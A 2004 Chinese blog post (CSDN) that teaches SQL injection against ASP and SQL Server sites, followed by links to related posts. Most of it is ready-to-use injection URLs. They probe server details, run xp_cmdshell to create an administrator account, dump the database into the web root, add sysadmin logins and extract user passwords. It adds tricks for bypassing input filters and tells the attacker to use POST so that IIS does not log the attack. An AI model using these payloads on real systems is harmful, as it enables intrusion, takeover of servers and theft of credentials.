基于SQL Server的WEB应用程序注入攻击详细介绍

原创 2004年08月26日 14:33:00

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL注入(SQL Injection)

SQL 注入攻击是一个常规性的攻击,它可以允许一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。SQL 注入攻击不是SQL Server问题,而是不适当的程序。如果你想要运行这些程序的话,你必须明白这冒着一定的风险。

 

一、原理

了解SQL注入之前先要了解一些基本的B/S模式应用程序的知识,以及浏览器与服务器交互的相关知识。根据国情,国内的网站用ASP+AccessSQL Server的占70%以上,PHP+MySQL20%,其他的不足10%。对于ASP+SQL Server的应用程序结构,一个ASP程序实际上是SQL Server的一个客户端,它需要一个合法的SQL登录名和密码去连接SQL Server数据库。下面一段代码是典型的在ASP中连接SQL SERVER的例子:

<%rServer="IBM-WEB-01"           '设置SQL SERVER服务器地址

rUid="webuser"                     '设置SQL SERVER登录名

rPwd="xxxxxxxxf"                            '设置SQL SERVER登录密码

rDatabase="sitelog"                         '设置SQL SERVER数据库名

set conn=Server.CreateObject("ADODB.Connection")

strconn="driver={sql server};server=" & rServer & ";uid=" & rUid & ";pwd=" & rPWD & ";database=" & rDatabase

conn.open strconn%>

SQL 注入的脆弱点发生在程序开发员构造一个WHERE 子句伴随着用户的输入的时候。比如,下面列出一个简单的ASP程序article_show.asp,它的功能是跟据GET获得的参数ID显示数据库info_article表中相应ID值的文章内容。

<%strID=Trim(Request.QueryString("ID"))

strSQL="select * from info_article where ID=" & strID

set rs=server.CreateObject("ADODB.Recordset")

rs.open strSQL,conn,1,3%>

<table width="100%" border="0" cellpadding="10" cellspacing="1" class="table1">

     <tr class="trtitle">

              <td><div align="center"><%=rs("title")%><br></div></td>

     </tr>

     <tr class="trcontent">

              <td><%=rs("content")%></td>

     </tr>

</table>

请注意strSQL="select * from info_article where ID=" & strID这一句。实际运行时,客户端应当使用类似http://www.abc.com/article_show.asp?ID=12这样的URL访问此ASP程序,当ID为数字12时,strID的值为字符型“12”,VBScript中“&”运算符可以连接任意类型的数据,经过&的连接后,可以得到strSQL字串的值:select * from info_article where ID=12,可以看出这是一个正常的SQL语句。VBScript是一种弱类型语言,不需声明变量的类型(甚至不需声明变量),这有时会给编程者带来方便,但也容易在编程过程中产生不少可被利用的漏洞。正由于在此程序中没有限定变量strID的类型,因而使这个程序存在SQL注入的漏洞。

二、测试

现在试着在浏览器中输入下面的URLhttp://www.abc.com/article_show.asp?ID=12’”,此时类比上面的介绍得到strSQL字串的值为:select * from info_article where ID=12’,这在SQL Server中是一句非法的查询语句。这时服务器将返回如下的错误:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

出现这种错误就已经说明这个网站百分百可以进行注入攻击了。

有些时候服务器显示“处理URL时服务器上出错”是因为IIS设置中关闭了向客户端发送详细出错信息,这时不一定不能注入,但相对来讲困难极大,只能碰运气了。

有些时候服务器显示的内容还是ID=12的内容,没有任何出错信息,这可能是开发者过滤掉了单引号,可以使用下面的方法进行尝试:“article_show.asp?ID=12 and 1=2,此时如果出现下面的错误,还是有可能进行注入的。

错误 '80020009'

发生意外。  

注意:出现下面的错误信息时肯定无法完成注入:

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'cint'  

 

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'clng'   

   

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'cdbl'   

 

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'c'   

 

非法的参数值。

 

请输入正确的参数值。

ADODB.Parameter error '800a0d5d'

Application uses a value of the wrong type for the current operation.

 

 

三、搜集信息

确定可以实施注入攻击后,可以使用下面的方法对服务器进行测试。

 

测试SQL Server版本:

article_show.asp?ID=(SELECT @@VERSION)

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。

 

测试SQL Server当前的登录用户名:

article_show.asp?ID=(USER_NAME())

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar 'webuser' 转换为数据类型为 int 的列时发生语法错误。

注意:如果是以sa登录的在这里将显示dbo

 

测试SQL Server当前使用的数据库名称:

article_show.asp?ID=(DB_NAME())

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar 'sitelog' 转换为数据类型为 int 的列时发生语法错误。

 

测试当前用户是否为“sysadmin”组成员

SELECT IS_SRVROLEMEMBER('sysadmin')这句SQL语句可用来测试当前登录的用户是否为sysadmin的服务器角色,如果是将返回值1,不是的话返回值0。这里要将其转变为字符型数据才能看到具体数值。因此写下面的URL:(其中char(115)为字符’s’%2B为加号(+)UTF-8编码。)

article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_SRVROLEMEMBER('sysadmin') AS VARCHAR(2)))

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] varchar 's0' 转换为数据类型为 int 的列时发生语法错误。

如果显示s0则不是’sysadmin’组成员,如果是1’’sysadmin’组成员。

 

测试当前用户是否为“db_owner”组成员。

article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_MEMBER('db_owner') AS VARCHAR(2)))

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] varchar 's1' 转换为数据类型为 int 的列时发生语法错误。

 

至此已经获取了许多有价值的信息。如果测试出当前用户为sysadmin组成员的话,有很大的可能性可以在这台SQL Server上运行cmd shell。如果是db_owner则可以对当前连接的数据库进行任意的操作,如新建表、删除表、插入数据、读取数据等等。

 

四、sysadmin权限的用户可进行的操作

注:以下不再详细介绍服务器的出错信息,只列出可用的SQL语句。

添加一个NT用户:

article_show.asp?ID=12;EXEC master..xp_cmdshell "net user name password /add"--

将该用户添加到administrators

article_show.asp?ID=12;EXEC master..xp_cmdshell "net localgroup name administrators /add"--

将数据库做一个完整的备份放在网站目录下供下载:

article_show.asp?ID=12;BACKUP DATABASE 数据库名 to DISK='c:/Inetpub/wwwroot/1.db';--

添加一个SQL Server登录:

article_show.asp?ID=12;EXEC sp_addlogin 'uname','pwd'--

将该登录添加为db_owner角色:

article_show.asp?ID=12;EXEC sp_adduser 'uname','登录名','db_owner'--

将该登录添加为sysadmin固定服务器角色:

article_show.asp?ID=12;EXEC sp_addsrvrolemember 'uname','sysadmin'--

 

相反操作:

将该登录从sysadmin固定服务器角色中删除:

article_show.asp?ID=12;EXEC sp_dropsrvrolemember 'uname','sysadmin'--

将该登录从db_owner角色中删除:

article_show.asp?ID=12;EXEC sp_dropuser 'uname'

删除该登录:

article_show.asp?ID=12;EXEC sp_droplogin 'uname'

 

以上操作一般服务器会出现下面的出信息或者正常显示ID=12的网页:

错误 '80020009'

发生意外。  

 

 

五、普通权限用户可进行的操作:

普通用户不能使用第四节中列出的命令,但仍可读出数据库中所有的数据。

    使用下面的语句列出数据库中第一个表的名称:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0 AND NAME NOT IN(''))

得到第一个表名为info_files后,用下面语句得到第二个表名:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0 AND NAME NOT IN('info_files'))

得到第二个表名为info_articles后,用下面语句得到第三个表名:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0 AND NAME NOT IN('info_files','info_articles'))

假设得到第三个表名为info_users

使用下面语句得到info_users表中第一个字段的名称:

article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID('info_users'),1)

使用下面语句得到info_users表中第二个字段名称:

article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID('info_users'),2)

假设得到info_users表的结构为ID,username,password,那么,使用下面的语句得到第一个记录的username值:

article_show.asp?ID=(SELECT TOP 1 username FROM info_users)

使用下面语句得到第一个记录的password值:

article_show.asp?ID=(SELECT TOP 1 password FROM info_users)

使用下面的语句得到第一个记录的ID值:

article_show.asp?ID=(SELECT TOP 1 CHAR(115) %2B CAST(ID AS VARCHAR(2)) FROM info_users)

 

六、附加说明

    也有很多开发者用过滤号的方法来“防止”注入漏洞,但还是可以利用相关的函数,达到绕过程序限制的目的。举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户,可以用where name=nchar(29992)+nchar(25143)代替。

有些人会过滤SelectUpdateDelete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get

SQL Server的注入攻击绝非仅限上面介绍的这些,可以用自己的方法构成很多巧妙的SQL语句得到想要的信息。安装SQL Server后可以查阅“SQL Server联机从书”,这里能够找到SQL Server所有的语句、函数、系统存储过程和安全性方面的文档,是非常好的参考资料。

 

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/langkew/article/details/85391

渗透攻防Web篇-SQL注入攻击初级

前言 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞...
  • supernewer1995
  • supernewer1995
  • 2016-09-21 21:07:38
  • 780

渗透攻防Web篇-SQL注入攻击初级 1

Preface不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,...
  • ZmeiXuan
  • ZmeiXuan
  • 2017-08-03 23:28:11
  • 420

初探PHP的SQL注入攻击的技术实现以及预防措施

SQL攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,...
  • u011986449
  • u011986449
  • 2014-01-12 09:59:43
  • 6071

Java Web 防范 SQL 注入攻击

随着 Ineternet 技术的迅猛发展,为了能更充分地使用互联网这个世界上最大的交流平台 ,许多单位或个人纷纷建立自己的网站。 但是网络为企业提供了新的机遇,但是同时它也给安全、 性能等领域带来了新...
  • JerryBurning
  • JerryBurning
  • 2015-08-18 17:50:53
  • 2107

SQL注入攻击尝试

SQL注入是在web开发中,不得不考虑的一个问题,近些年已经得到了较充分的重视。一般新手不注意的话,写出的程序容易被SQL注入攻击。比如笔者试了下面这样一个用户登录的页面(代码见附录)数据库为mysq...
  • luocm
  • luocm
  • 2007-06-17 21:59:00
  • 6406

web开发常见安全问题(SQL注入、XSS攻击、CSRF攻击)

web开发常见安全问题(SQL注入、XSS攻击、CSRF攻击)
  • u012546526
  • u012546526
  • 2015-04-16 16:08:18
  • 3815

卷积神经网络检测web攻击

第一天开通博客,以此来对学习过程中的心得加以记录,个人对机器学习在网络安全中的应用颇为感兴趣,尝试使用tensorflow实现sql注入、xss等攻击的识别。一下记录一下过程。 首先是数据集的准备,安...
  • ckbbird
  • ckbbird
  • 2017-05-15 16:47:20
  • 970

Sql Server存储过程防注入攻击

所谓Sql注入,就是利用动态构建Sql语句的操作,在输入参中增加额外sql信息从而在执行该操作时顺带进行 额外的地数据库操作的攻击方式。 使用存储过程可以很大程度上避免Sql注入攻...
  • heartrude
  • heartrude
  • 2012-04-02 07:18:18
  • 2181

关于web安全之sql注入攻击

前言:①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,         能力有限,不到之处请大家批评指正;       ②我尽量将文中涉及的各种技术原理...
  • u012272879
  • u012272879
  • 2013-10-12 23:33:10
  • 1595

web安全之Xss攻击和Sql注入

我没有专门学过web安全方面的知识,但是作为开发者,基本的安全意识还是要有的。 说说之前遇到的web中的两个安全问题,一是Sql注入,而是Xss攻击。 Sql注入:就是通过把SQL命令插入到Web...
  • lsx991947534
  • lsx991947534
  • 2015-10-01 13:24:39
  • 986
收藏助手
不良信息举报
您举报文章:基于SQL Server的WEB应用程序注入攻击详细介绍
举报原因:
原因补充:

(最多只允许输入30个字)